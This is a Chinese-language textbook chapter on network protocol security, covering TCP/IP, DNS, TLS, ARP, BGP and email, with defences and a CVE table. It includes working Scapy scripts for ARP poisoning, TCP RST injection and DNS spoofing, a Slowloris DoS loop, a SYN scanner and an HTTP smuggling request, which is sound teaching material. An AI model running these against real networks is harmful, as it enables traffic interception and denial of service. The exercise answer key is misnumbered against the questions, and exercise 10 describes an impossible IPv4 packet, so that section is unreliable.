mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6mobile wallpaper 7mobile wallpaper 8mobile wallpaper 9mobile wallpaper 10mobile wallpaper 11mobile wallpaper 12mobile wallpaper 13
4949 字
16 分鐘
网络基础与协议安全
2026-04-27

第 2 章 网络基础与协议安全#

2.1 学习目标#

  1. 精通 TCP/IP 五层模型与常见协议头部字段。
  2. 能通过 Wireshark / tcpdump 读懂任意主流协议的抓包。
  3. 掌握常见协议层攻击:ARP 欺骗、DNS 劫持、TCP Hijacking、TLS 降级等。
  4. 理解 TLS 1.3 握手流程与前向安全。
  5. 能用 Scapy / C / Python 手工构造并解析协议数据单元(PDU)。
  6. 理解 QUIC / HTTP/3、IPv6、BGP / RPKI 等现代网络安全点。

能力矩阵

能力域入门进阶精通
协议分析读 tcpdump 单包过滤复杂条件手工解码未知协议
攻击复现ARP 欺骗SSL Strip / DNS SpoofBGP Hijack / TLS Downgrade
防御设计按模板加固写 Suricata/Snort 规则设计零信任网络分段

2.2 TCP/IP 协议栈#

2.2.1 OSI 7 层 vs TCP/IP 4 层映射#

OSI 模型 TCP/IP 模型 典型协议 / PDU
┌──────────────┐ ┌─────────────────┐
│ 7 应用 App │ │ │ HTTP, DNS, SSH, SMTP
├──────────────┤ │ 应用层 │ ── PDU: Message / Request
│ 6 表示 Pres. │ │ │
├──────────────┤ ├─────────────────┤
│ 5 会话 Sess. │ │ │
├──────────────┤ ├─────────────────┤
│ 4 传输 │ │ 传输层 │ TCP / UDP / SCTP / QUIC
│ │ │ │ ── PDU: Segment / Datagram
├──────────────┤ ├─────────────────┤
│ 3 网络 │ │ 网络层 │ IPv4 / IPv6 / ICMP / IPSec
│ │ │ │ ── PDU: Packet
├──────────────┤ ├─────────────────┤
│ 2 数据链路 │ │ │ Ethernet / ARP / PPP / 802.11
├──────────────┤ │ 网络接入层 │ ── PDU: Frame
│ 1 物理 │ │ │ 光 / 铜 / 无线电
└──────────────┘ └─────────────────┘ ── PDU: Bit

关键观察:OSI 理论的会话/表示层在 TCP/IP 实际实现里被”吸收”进应用层;安全机制(TLS)典型部署在 会话层—传输层接缝处

2.2.2 封装与解封装#

Application Data
│ add TCP header
┌────────────────┐
│ TCP header | Data │ Segment
└──────────┬────────┘
│ add IP header
┌────────────────────────┐
│ IP header | TCP | Data │ Packet
└──────────┬──────────────┘
│ add Eth header + FCS
┌───────────────────────────────────┐
│ Eth | IP | TCP | Data | FCS │ Frame(MTU ≤ 1500 字节)
└───────────────────────────────────┘

MTU vs MSS 推导

  • MTU = 1500(Ethernet 标准)
  • IPv4 头:至少 20 字节;TCP 头:至少 20 字节
  • MSS = MTU - IPHdr - TCPHdr = 1500 - 20 - 20 = 1460
  • IPv6 头固定 40 字节,故 IPv6 下 MSS = 1440
  • 若存在 PPPoE (8B) / VPN 封装 → MSS 需进一步下调

2.2.3 TCP 三次握手 / 四次挥手#

Client Server
│ ── SYN (seq=x) ───────────────────────────▶ │
│ ◀─ SYN+ACK (seq=y, ack=x+1) ─────────────── │
│ ── ACK (ack=y+1) ────────────────────────▶ │
│ 已建立 (ESTABLISHED) │
│ ... │
│ ── FIN ──────────────────────────────────▶ │
│ ◀─ ACK ────────────────────────────────────│
│ ◀─ FIN ────────────────────────────────────│
│ ── ACK ──────────────────────────────────▶ │
│ TIME_WAIT (2 MSL) │

Linux 下 MSL 默认 60 s → TIME_WAIT = 120 s。作用:

  1. 允许旧连接的”迟到包”在网络中消散,避免被新连接误收。
  2. 保证被动关闭方收到最后一个 ACK(否则它会重传 FIN)。

攻击面

  • SYN Flood:伪造源 IP 疯狂 SYN,耗尽半连接队列。
  • Reset Attack:猜测 seq/ack 发送 RST 终止连接。
  • Sequence Prediction:老旧系统的 ISN(Initial Sequence Number)可预测,TCP 劫持。

2.2.4 TCP 状态机完整图(11 态)#

LISTEN
│ recv SYN / send SYN+ACK
┌─────────── SYN_RCVD ─────────────┐
│ │
│ send SYN / recv SYN+ACK │ recv ACK
▼ ▼
SYN_SENT ─────────────────────▶ ESTABLISHED
close / send FIN ┌──────────┼───────────┐ recv FIN / send ACK
▼ │ ▼
FIN_WAIT_1 同时关闭 CLOSE_WAIT
│ │ close / send FIN
recv ACK │ ▼
▼ LAST_ACK
FIN_WAIT_2 │ recv ACK
│ recv FIN / send ACK ▼
▼ CLOSED
TIME_WAIT ───2 MSL──▶ CLOSED

面试要点:为什么 TIME_WAIT 必须是 2 MSL,而不是 1 MSL?——1 MSL 保最后一个 ACK 到达对端,+1 MSL 是对端重传 FIN 到本端的余地,合计 2 MSL 才能保证两侧旧数据被完全清理。

2.2.5 TCP 拥塞控制演化#

算法年份特性
Tahoe1988Slow Start + AIMD + Fast Retransmit
Reno1990加入 Fast Recovery
NewReno1999部分 ACK 处理改进
SACK2000选择性确认,避免重传整个窗口
CUBIC2006Linux 默认,立方函数增长
BBR2016Google,带宽×时延模型,抗丢包

BBR 核心思想:不把丢包当拥塞信号,而是估计 BDP = BtlBw × RTprop(瓶颈带宽 × 往返传播时延),以此驱动发送速率。

2.2.6 UDP 与 QUIC#

  • UDP 无连接、无状态 → DNS、DHCP、NTP、SNMP、视频流
  • UDP 反射放大攻击:DNS / NTP / Memcached 放大比可达 1:50000

QUIC(RFC 9000)关键点

  • 基于 UDP 构建,但在用户态实现了连接、重传、拥塞控制
  • 握手 + TLS 1.3 合并:1-RTT 建连,支持 0-RTT
  • 连接迁移:基于 Connection ID 而不是 5-tuple,切网不断流
  • 安全:除了握手控制字段,整个 QUIC 数据包都是加密的 → 中间盒无法深包检查

2.3 IP & ICMP#

2.3.1 IPv4 头部完整字段#

0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options (variable) | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
字段长度(bit)安全关注点
Version44 或 6,入侵可伪装
IHL4头部长度(单位 4B),Option 字段恶意利用
ToS / DSCP8服务质量,通常被网络忽略
Total Length16最大 65535 → “Ping of Death” 超长分片
Identification16Fragment 重组标识,Teardrop 利用
Flags / Offset3+13DF 禁分片 / MF 更多分片 / Offset 重叠
TTL8指纹识别(Linux 64 / Win 128 / 路由器 255)
Protocol81=ICMP / 6=TCP / 17=UDP / 50=ESP / 51=AH
Checksum16只算头部,非数据 → 不抗篡改
Source IP32易被伪造 → uRPF、BCP38 防范
Destination IP32

IP Checksum 算法

def ipv4_checksum(header_bytes: bytes) -> int:
"""16-bit ones' complement of the ones' complement sum.
Header 必须去掉 checksum 字段自身(置零后计算)。
"""
if len(header_bytes) % 2:
header_bytes += b'\x00'
s = 0
for i in range(0, len(header_bytes), 2):
word = (header_bytes[i] << 8) + header_bytes[i+1]
s += word
s = (s & 0xFFFF) + (s >> 16)
return (~s) & 0xFFFF

2.3.2 IPv6 头部与安全变化#

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| Traffic Class | Flow Label |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Payload Length | Next Header | Hop Limit |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Address (128 bit) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination Address (128 bit) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

安全差异:

  • 头部固定 40 字节,不再有 Options → Extension Header 链(Hop-by-Hop、Routing、Fragment、ESP、AH)
  • 无头部 checksum:依赖 L4 校验
  • NDP 替代 ARP:Neighbor Discovery Protocol,但同样易被欺骗
  • SLAAC:地址自动配置可被 Evil Router Advertisement 污染
  • 临时地址(RFC 4941):客户端隐私增强

IPv6 重要攻击

  1. RA Flooding:大量伪造 RA 包(fake_router6)耗尽主机内存或劫持默认网关。
  2. NDP Spoofing:与 ARP 欺骗同理,工具 parasite6
  3. Fragment 重叠攻击(CVE-2018-5390 SegmentSmack)。
  4. OS fingerprinting via Flow Label 模式。

2.3.3 ICMP 滥用#

  • ping 探测 → 可封禁
  • ICMP 隧道:把 C2 数据塞进 echo request 载荷(工具:icmptunnelptunnel

经典 ICMP 攻击

  • Ping of Death(1996):IP 总长度 > 65535,接收端重组溢出
  • Smurf 攻击:伪造源 IP 的 ICMP echo 广播,放大反射
  • ICMP Redirect:改写受害者路由表 → MitM

2.4 ARP 与链路层攻击#

2.4.1 ARP 欺骗原理#

受害者 PC ──── 广播 "谁有 192.168.1.1?" ───▶
攻击者 ◀── 抢答 "我是 1.1,我的 MAC 是 AA:..." ──
受害者 PC → 发送所有流量到攻击者

工具arpspoof(dsniff 套件)、ettercapbettercap

2.4.2 Scapy 手写 ARP 欺骗#

from scapy.all import ARP, Ether, sendp, srp
import time, sys
def get_mac(ip, iface):
ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff') / ARP(pdst=ip),
timeout=2, iface=iface, verbose=0)
return ans[0][1].hwsrc if ans else None
def poison(victim_ip, gateway_ip, iface='eth0'):
attacker_mac = '00:11:22:33:44:55' # 自己
victim_mac = get_mac(victim_ip, iface)
gw_mac = get_mac(gateway_ip, iface)
print(f"victim={victim_ip}/{victim_mac} gw={gateway_ip}/{gw_mac}")
while True:
# 对受害者说:网关的 MAC 是我的
sendp(Ether(dst=victim_mac) /
ARP(op=2, psrc=gateway_ip, pdst=victim_ip, hwdst=victim_mac),
iface=iface, verbose=0)
# 对网关说:受害者的 MAC 是我的
sendp(Ether(dst=gw_mac) /
ARP(op=2, psrc=victim_ip, pdst=gateway_ip, hwdst=gw_mac),
iface=iface, verbose=0)
time.sleep(2)
if __name__ == '__main__':
poison(sys.argv[1], sys.argv[2])

搭配 echo 1 > /proc/sys/net/ipv4/ip_forward 开启转发,再 sslstrip / bettercap 做内容抓取。

2.4.3 防御#

  • 静态 ARP 绑定
  • 交换机 DAI(Dynamic ARP Inspection)+ DHCP Snooping
  • 端口绑定 MAC
  • 二层隔离(VLAN + Port Isolation)

2.4.4 其他链路层攻击#

  • MAC 洪泛:填满 CAM 表 → 交换机退化成 HUB(工具 macof
  • VLAN 跳跃:Double Tagging / Switch Spoofing(DTP 协议滥用)
  • STP BPDU 攻击:伪造根桥
  • DHCP 耗尽dhcpstarv 占满 IP 池后再伪造 DHCP Server(Rogue DHCP)

2.4.5 BPDU Guard / Root Guard 配置样例(Cisco)#

interface range GigabitEthernet1/0/1 - 24
switchport mode access
spanning-tree portfast
spanning-tree bpduguard enable
spanning-tree guard root
!
ip dhcp snooping
ip dhcp snooping vlan 10
interface GigabitEthernet1/0/1
ip dhcp snooping limit rate 15
!
ip arp inspection vlan 10

2.5 DNS 安全#

2.5.1 解析流程#

用户 → 本地 Resolver → 根 . → TLD .com → 权威 example.com

每一跳都是攻击面。

2.5.2 DNS 报文结构#

+---------------------+
| Header | 12 bytes
+---------------------+
| Question | 域名 + QType + QClass
+---------------------+
| Answer | RR: name, type, class, ttl, rdata
+---------------------+
| Authority |
+---------------------+
| Additional |
+---------------------+

Header 字段里 TXID(16 bit)+ 源端口共 32 bit 的随机性决定了响应伪造难度。

2.5.3 典型攻击#

攻击原理防御
DNS 劫持运营商 / 恶意 Resolver 替换结果DoH / DoT、DNSSEC
Cache Poisoning伪造响应抢先到达 Resolver随机源端口 + DNSSEC
Kaminsky 攻击利用 Additional 强行投毒权威 NS上同
DNS 隧道把数据编码进子域名检测异常长度 / 频率
DGA 域名恶意软件周期性生成 C2 域名威胁情报、机器学习
子域名接管CNAME 指向已失效云资源清理孤儿记录
DNS Rebinding先响应公网 IP,后切换到内网 IP浏览器同源 Pin、--host-resolver-rules
NXNSAttack伪造权威 NS 引发递归放大RFC 8906 限制

2.5.4 Kaminsky 攻击完整推导#

假设 resolver 查询 x.example.com,攻击者同时发送伪造响应:

  • Answerx.example.com A <攻击者 IP>
  • Authorityexample.com NS ns.evil.com
  • Additionalns.evil.com A <攻击者 IP>

只要伪造包在合法权威之前到达且 TXID 匹配,resolver 就会把 example.com 的整个 NS 指向攻击者。原始攻击中 TXID 只有 16 bit = 65536 可能,暴力枚举约 10 秒内即可命中。

防御:源端口随机化(2008 后广泛部署),把空间扩展到 2^32

2.5.5 DNSSEC 原理#

. (根) ──签名──▶ com. (TLD) ──签名──▶ example.com.
KSK → ZSK → RRset

每个 zone 有:

  • ZSK (Zone Signing Key):签 RRset
  • KSK (Key Signing Key):签 DNSKEY 记录
  • DS 记录:父 zone 记录 KSK 哈希,形成信任链

新增 RR 类型:DNSKEY / RRSIG / NSEC / NSEC3 / DS

NSEC 泄露 zone → 改用 NSEC3(哈希的 NSEC)。

2.5.6 DoH / DoT#

  • DoH:DNS over HTTPS(443,难以被中间设备识别)
  • DoT:DNS over TLS(853,易识别易封禁)
  • DNS over QUIC (RFC 9250):新生代

2.6 HTTP / HTTPS 安全要点#

2.6.1 HTTP 版本演化#

版本传输复用关键安全点
HTTP/1.1TCPpipelineSmuggling、Host 头注入
HTTP/2TCP + TLS多路复用、头压缩HPACK 攻击、Rapid Reset CVE-2023-44487
HTTP/3QUIC/UDP0-RTT0-RTT 重放风险

2.6.2 重要安全头#

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxx'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Resource-Policy: same-site

HSTS preload:加入 Chromium / Firefox / Safari 预置列表,即便首次访问也强制 HTTPS,防 SSL Strip 降级。

2.6.3 HTTP Smuggling(CL.TE / TE.CL / TE.TE)#

前端代理与后端应用对 Content-LengthTransfer-Encoding 的解析不一致,攻击者构造下述请求:

POST / HTTP/1.1
Host: victim
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
  • CL.TE:前端按 Content-Length: 13 读完整请求;后端按 chunked0\r\n\r\n 截止 → 残留 SMUGGLED 成为下一个请求的前缀。
  • TE.CL:反之。
  • TE.TE:前后端都”部分”支持 TE,利用 Transfer-Encoding: chunkedX 等变体绕过。

影响:会话劫持、缓存投毒、WAF 绕过。

PortSwigger 分类:HTTP/2 降级(H2.CL / H2.TE)是 2022–2024 年的新研究方向。

2.6.4 HTTP/2 Rapid Reset (CVE-2023-44487)#

原理:HTTP/2 允许客户端通过 RST_STREAM 取消流。攻击者开 N 条流后立即取消,前端实现会在取消后仍消耗服务端资源(处理调度、日志),造成 DoS。

攻击步骤:
1. 客户端建立 H2 连接
2. 快速发送 HEADERS 帧(创建 stream 1,3,5,...)
3. 立即对每条 stream 发送 RST_STREAM
4. 并发成千上万次 → 后端 CPU 饱和

防御:

  • 限制每连接最大并发流 / 单位时间内的 RST 比例
  • nginx ≥ 1.25.3、Envoy ≥ 1.28.0、Go x/net/http2 2023/10/10 补丁

2.7 TLS / SSL#

2.7.1 TLS 1.3 握手(1-RTT)#

Client Server
│ ClientHello (支持的套件、key_share) ───────▶ │
│ ◀── ServerHello + EncryptedExtensions ──── │
│ + Certificate + CertVerify + Finished │
│ ── Finished (Application Data) ───────────▶ │

对比 TLS 1.2

  • 去除 RSA 密钥交换,只保留 (EC)DHE → 天然 前向安全
  • 禁用 CBC、RC4、SHA1、压缩、重协商
  • 握手从 2-RTT 缩到 1-RTT;支持 0-RTT (PSK)

2.7.2 TLS 1.3 HKDF 密钥派生链#

HKDF (RFC 5869) 分两步:HKDF-Extract → HKDF-Expand。TLS 1.3 的完整密钥派生:

0 (全零向量)
│ PSK (or 0)
HKDF-Extract → Early Secret
│ derive "ext binder" / "res binder" / "c e traffic" ...
HKDF-Extract → Handshake Secret
│ (with ECDHE shared secret)
│ derive "c hs traffic" / "s hs traffic"
HKDF-Extract → Master Secret (with 0)
│ derive "c ap traffic" / "s ap traffic"
Application Traffic Keys

其中 Derive-Secret(Secret, Label, Messages) 定义为:

[ \text{Derive-Secret}(S, L, M) = \text{HKDF-Expand-Label}(S, L, \text{Transcript-Hash}(M), \text{Hash.length}) ]

Transcript-Hash = 所有握手消息串联后取 SHA-256(或对应套件哈希)。

2.7.3 经典 TLS/SSL 漏洞深度复盘#

漏洞年份危害根因
Heartbleed (CVE-2014-0160)2014内存泄露读取私钥OpenSSL heartbeat 扩展越界读
POODLE2014SSL 3.0 CBC 填充 oraclePadding 仅校验末字节
FREAK / Logjam2015降级到弱 DH/RSA (512-bit)协商时被中间人剥离强套件
ROBOT2017RSA PKCS#1 v1.5 oracleTLS 1.2 仍保留 RSA 密钥交换
BEAST / CRIME / BREACH2011-2013CBC / 压缩攻击自适应选择明文
SWEET3220163DES 生日碰撞64-bit 块 × 长连接

Heartbleed (CVE-2014-0160) 代码级分析#

漏洞在 ssl/t1_lib.ctls1_process_heartbeat

// 漏洞版本
int tls1_process_heartbeat(SSL *s) {
unsigned char *p = &s->s3->rrec.data[0], *pl;
unsigned short hbtype;
unsigned int payload;
hbtype = *p++;
n2s(p, payload); // 从客户端读取声明的 payload 长度
pl = p;
if (hbtype == TLS1_HB_REQUEST) {
unsigned char *buffer, *bp;
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
bp = buffer;
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload); // ← 这里未校验 payload 是否 ≤ 实际数据长度
...
}
}

攻击者声明 payload=65535 但只发了 3 字节实际 payload → memcpy 回读进程内存 65535 字节,覆盖了私钥、其他会话 cookie、用户密码等。

补丁:

+ if (1 + 2 + payload + 16 > s->s3->rrec.length)
+ return 0; // silently discard per RFC 6520 sec. 4

Logjam 数学推导#

协议降级到 DH 512-bit,攻击者利用 数域筛法 (NFS) 预计算常用素数 p 的离散对数表,通过 ~10^8 美金的一次性投资可对某一固定 p 所有会话秒级攻破。后续强制 DH ≥ 2048-bit使用 Safe Prime

2.7.4 证书链与 PKI#

根 CA → 中间 CA → 服务器证书
↓ ↓
自签名 OCSP / CRL 吊销
  • 证书透明度 CT:所有证书需公开到 CT Log(Google / Cloudflare),浏览器要求证书附带 ≥ 2 个 SCT (Signed Certificate Timestamp)
  • HPKP 已弃用,改用 CT + Expect-CT / CAA 记录
  • CAA DNS 记录example.com. CAA 0 issue "letsencrypt.org" 限制可签发 CA
  • ACME 协议(RFC 8555):Let’s Encrypt 等自动化证书签发

2.7.5 证书验证算法(伪代码)#

def verify_cert_chain(server_cert, intermediates, trust_store, hostname, now):
chain = build_chain(server_cert, intermediates, trust_store)
if not chain:
raise CertError("cannot build chain to trusted root")
for i, cert in enumerate(chain):
# 1. 时效
if not (cert.not_before <= now <= cert.not_after):
raise CertError("expired")
# 2. 签名
if i + 1 < len(chain):
issuer = chain[i+1]
if not verify_signature(cert, issuer.public_key):
raise CertError("bad signature")
# 3. 基本约束、密钥用途
if cert.is_ca and not cert.key_usage.allows("keyCertSign"):
raise CertError("CA without keyCertSign")
# 4. 名称匹配(仅叶子)
if i == 0 and not match_hostname(cert, hostname):
raise CertError("hostname mismatch")
# 5. 吊销(OCSP / CRL)
status = ocsp_check(cert, issuer)
if status == "revoked":
raise CertError("revoked")
# 6. SCT(CT 日志)
if len(cert.scts) < 2:
raise CertError("insufficient SCTs")
return True

2.8 VPN & 隧道#

类型协议特征
IPSecIKEv2 + ESP三层加密隧道
OpenVPNTLS-based走 UDP/1194
WireGuardNoise + Curve25519代码极简、内核态、性能高
SSH 隧道-L / -R / -D轻量端口转发

2.8.1 IPSec 两种模式#

传输模式:保护 IP 负载(IP Hdr | ESP Hdr | TCP/UDP | Data | ESP Trail | ESP Auth)
隧道模式:整个 IP 包被加密 + 外层新 IP(NewIP | ESP | OrigIP | TCP | Data | ESP*)

IKE 协商:Phase 1 (ISAKMP SA) → Phase 2 (IPSec SA);IKEv2 合并为 4 个消息。

2.8.2 WireGuard 核心设计#

src dst
│ Type=1 Initiation (pubkey, ephemeral) ▶
│ │ verify + derive key
│ ◀ Type=2 Response (ephemeral, cookie) │
│ data (AEAD: ChaCha20-Poly1305) ─▶ │
  • 5 个原语:Curve25519 + ChaCha20 + Poly1305 + BLAKE2s + HKDF
  • 代码量 ~4000 行,易审计
  • 无动态配置,key 静态,peer 列表显式

2.8.3 SSH 隧道命令速查#

# 本地端口转发:本地 9000 → 跳板 → 内网 web 80
ssh -L 9000:internal.web:80 user@jump
# 远程端口转发:让跳板的 2222 转发到本地 22(内网穿透)
ssh -R 2222:localhost:22 user@jump
# 动态 SOCKS5 代理
ssh -D 1080 user@jump

2.9 BGP / 路由安全#

2.9.1 BGP 路由泄露与劫持#

BGP 是互联网”信任协议”,任一 AS 都可宣告 prefix,对方默认相信。典型事件:

  • 2008 YouTube 劫持:巴基斯坦电信宣告 208.65.153.0/24 前缀,比 YouTube 原宣告更具体 → 全球请求被黑洞。
  • 2018 MyEtherWallet 劫持:攻击者宣告 DNS 服务器 IP → 偷 DNS 响应 → 钓鱼。
  • 2021 Facebook 宕机:Facebook 自己撤回 BGP 宣告,导致 DNS 不可达约 6 小时。

2.9.2 RPKI 防御#

RPKI (Resource Public Key Infrastructure):ROA (Route Origin Authorization) 声明”AS X 有权宣告 prefix P”。

AS owner → 签 ROA → IANA/RIR 发布
路由器查询 → Valid / Invalid / NotFound

目前(2026)全球 BGP 路由已有 ~50% 被 RPKI 覆盖;Invalid 路由可被 dropper(如 Cloudflare、Google)拒绝。

2.9.3 BGPsec#

更进一步:对 AS-PATH 签名,防止中间 AS 伪造路径。部署率仍低。


2.10 邮件协议安全#

2.10.1 SMTP / DKIM / SPF / DMARC#

机制作用
SPF列出允许发信的 IP 段
DKIM对邮件正文 + 部分头做数字签名
DMARC告诉收件方 SPF/DKIM 不过时如何处置

SPF 记录样例

example.com. TXT "v=spf1 include:_spf.google.com -all"

DKIM 头

DKIM-Signature: v=1; a=rsa-sha256; d=example.com; s=20230101;
h=from:to:subject:date;
bh=...base64 hash...;
b=...base64 signature...

DMARC 记录

_dmarc.example.com. TXT "v=DMARC1; p=reject; rua=mailto:dmarc@example.com; adkim=s; aspf=s"

2.10.2 邮件伪造与钓鱼检测#

  • From 字段 vs Envelope-From 不一致(display spoof)
  • 同形字攻击paypa1.comаррle.com(西里尔 а)
  • ARC 链:邮件经转发后保留历史认证
  • BIMI:显示品牌 Logo(需 DMARC p=quarantine/reject + VMC 证书)

2.11 Scapy / Python 网络脚本实战#

2.11.1 TCP RST 注入#

from scapy.all import sniff, IP, TCP, send
def inject_rst(pkt):
if pkt.haslayer(TCP) and pkt[TCP].flags == 0x18: # PSH|ACK
rst = IP(src=pkt[IP].dst, dst=pkt[IP].src) / \
TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport,
seq=pkt[TCP].ack, ack=pkt[TCP].seq + len(pkt[TCP].payload),
flags='R')
send(rst, verbose=0)
sniff(filter="tcp and host 192.168.1.100", prn=inject_rst, store=0)

2.11.2 DNS 劫持#

from scapy.all import sniff, DNS, DNSRR, UDP, IP, send, DNSQR
def dns_spoof(pkt):
if pkt.haslayer(DNSQR) and pkt[DNS].qr == 0:
qname = pkt[DNSQR].qname.decode()
if qname.rstrip('.') == 'example.com':
resp = IP(src=pkt[IP].dst, dst=pkt[IP].src) / \
UDP(sport=53, dport=pkt[UDP].sport) / \
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,
an=DNSRR(rrname=qname, ttl=300, rdata='6.6.6.6'))
send(resp, verbose=0)
sniff(filter="udp port 53", prn=dns_spoof, iface="eth0", store=0)

2.11.3 TLS ClientHello 构造#

from scapy.all import *
from scapy.layers.tls.all import *
load_layer("tls")
pkt = IP(dst='1.2.3.4') / TCP(dport=443, flags='S')
sr1(pkt) # 三次握手略
hello = TLS(msg=TLSClientHello(version=0x0303, ciphers=[0x1301, 0x1302, 0x1303]))
send(IP(dst='1.2.3.4')/TCP(dport=443, flags='PA', seq=..., ack=...)/hello)

2.11.4 端口扫描(SYN)#

from scapy.all import sr1, IP, TCP, RandShort
def syn_scan(host, ports):
open_ports = []
for p in ports:
resp = sr1(IP(dst=host)/TCP(sport=RandShort(), dport=p, flags='S'),
timeout=1, verbose=0)
if resp and resp.haslayer(TCP) and resp[TCP].flags == 0x12:
open_ports.append(p)
send(IP(dst=host)/TCP(dport=p, flags='R'), verbose=0) # 不建连
return open_ports

2.11.5 Slowloris (慢速 HTTP DoS)#

import socket, threading, time
def slowloris(host, port=80, n=200):
socks = []
for _ in range(n):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(b"GET /?x=1 HTTP/1.1\r\nHost: %s\r\nUser-Agent: x\r\n" % host.encode())
socks.append(s)
while True:
for s in socks:
try: s.send(b"X-a: b\r\n")
except: pass
time.sleep(15)
threading.Thread(target=slowloris, args=('victim', 80)).start()

防御:nginx client_body_timeout 10s; client_header_timeout 10s; + limit_req_zone


2.12 工具速查#

工具用途典型命令
nmap扫描nmap -sS -sV -p- 10.0.0.0/24
tcpdump抓包tcpdump -i eth0 -w cap.pcap 'port 443'
wireshark / tshark分析过滤 tcp.stream eq 0
scapyPython 组包send(IP(dst="x")/ICMP())
hping3手工组 TCP 包hping3 -S -p 80 --flood
bettercapMITMnet.probe on; arp.spoof on
mitmproxyHTTPS 中间人安装证书后拦截
dig / dogDNS 查询dig @8.8.8.8 +trace example.com
sslscan / testssl.shTLS 评估testssl.sh --full example.com
zmap / masscan高速扫描zmap -p 443 0.0.0.0/0 -r 100000

2.13 常见 CVE 速查(网络与协议族)#

CVE年份影响关键词
CVE-2014-01602014Heartbleed OpenSSL 内存泄露memcpy 越界
CVE-2014-35662014POODLE,SSLv3 降级CBC padding
CVE-2015-02042015FREAK,512-bit RSAExport-grade
CVE-2016-51952016Dirty COWLinux 内核竞态
CVE-2018-53902018SegmentSmack TCP DoSTCP 重组 CPU 放大
CVE-2019-114772019TCP SACK PanicLinux 内核 panic
CVE-2020-06012020Curveball,Win crypt ECC 伪造Windows\System32\crypt32.dll
CVE-2020-13502020SIGRed,Windows DNS堆溢出
CVE-2021-442282021Log4Shell(走 JNDI+LDAP)Java 序列化
CVE-2022-37862022OpenSSL X.509 UNICODE 溢出punycode
CVE-2023-444872023HTTP/2 Rapid ResetStream cancel flood
CVE-2024-63872024OpenSSH regreSSHionSIGALRM 竞态

2.14 练习题#

  1. 写一个 Scapy 脚本,模拟 SYN Flood(仅对自己的虚拟机),并观察 netstat -n | grep SYN_RECV 的变化。
  2. testssl.sh 扫描 example.com,找出至少 2 个中 / 高风险配置。
  3. 手动计算:源 IP 10.0.0.1、目的 IP 10.0.0.2、IHL=5、TTL=64、Protocol=6、TotalLength=40 的 IPv4 头 checksum。
  4. 解释:为什么 Nagle 算法 + Delayed ACK 常常导致 40 ms 额外延迟?如何规避?
  5. 用 Wireshark 抓一次 TLS 1.3 完整握手,指出 ClientHello 中 key_share 扩展、ServerHello 中使用的曲线。
  6. 使用 dnstwist 生成 example.com 的同形字域名列表,再用 whois 批量查询,看有哪些已经被注册。
  7. 阅读 RFC 9293(TCP,2022 更新版),对比 1981 年 RFC 793 的变化(至少写 3 点)。
  8. 模拟 Rogue DHCP + DNS 接管:在自己的内网搭 dnsmasq,让它响应 www.test.com → 自己的 IP
  9. 写出 Cisco IOS 上启用 DAI + DHCP Snooping + BPDU Guard 的配置模板。
  10. n = 3 × 2^32 bytes 的数据计算一个 IPv4 包的分片数量(假设 MTU 1500、无 TCP 选项)。

参考答案要点#

  1. 伪造源 IP + 快速发 SYN;内核半连接队列达到上限后新连接被丢。
  2. 如 weak cipher、RC4、TLS 1.0 启用等。
  3. 将 header 置 checksum=0,按 16 bit 求和,进位加回,取反码。
  4. 发送方小包等待凑齐 MSS;接收方延迟 40 ms 合并 ACK,两者相遇形成死等。禁用 Nagle (TCP_NODELAY) 或开 TCP_QUICKACK
  5. dnstwist -r example.com | grep -v 'NO_RECORDS'
  6. RFC 9293 合并多年来的更正;明确 urgent pointer 的语义;ISS 随机化要求提升;TCPAO 替代 TCP-MD5。
  7. 每片最大 payload = 1500 - 20 = 1480;偏移必须 8 字节对齐;总字节 n = 12884901888ceil(n / 1480) = 8705880 片。

2.15 面试高频考点(附参考答案)#

Q1:TCP 三次握手第三个 ACK 丢了会怎样?

